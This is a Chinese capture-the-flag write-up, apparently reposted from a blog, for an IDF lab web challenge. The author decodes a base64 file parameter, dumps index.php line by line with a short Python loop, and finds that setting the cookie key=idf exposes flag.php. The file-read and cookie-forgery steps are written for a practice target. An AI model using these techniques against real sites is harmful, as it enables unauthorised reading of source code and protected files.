idf cookie欺骗

来源:互联网 发布:网络推广类的书籍 编辑:程序博客网 时间:2024/05/29 10:28

http://ctf.idf.cn/game/web/40/index.php?line=&file=ZmxhZy50eHQ

打开后就一串长长的码 不知所云
注意到ZmxhZy50eHQ 估计是BASE64
查询 得到flag.txt
放进去啥都没(无言以对)
大牛说是文件包含漏洞(什么是文件包含漏洞?去百度百度)
把file=aW5kZXgucGhw(index.php的base64)line=1发现有代码
测试line发现有个18行

写一个python弄出全部代码(py3)

import urllib.requesti=0while(i<20):    file = urllib.request.urlopen("http://ctf.idf.cn/game/web/40/index.php?line=%d&file=aW5kZXgucGhw"% i).read()    print(file.decode('utf-8'))    i=i+1

得到

<?php    error_reporting(0);    $file=base64_decode(isset($_GET['file'])?$_GET['file']:"");    $line=isset($_GET['line'])?intval($_GET['line']):0;    if($file=='') header("location:index.php?line=&file=ZmxhZy50eHQ");    $file_list = array(        '0' =>'flag.txt',         '1' =>'index.php',    );    if(isset($_COOKIE['key']) && $_COOKIE['key']=='idf'){        $file_list[2]='flag.php';    }    if(in_array($file, $file_list)){        $fa = file($file);        echo $fa[$line];    }?>

也就是说设置cookie key=idf就行了

0 0
原创粉丝点击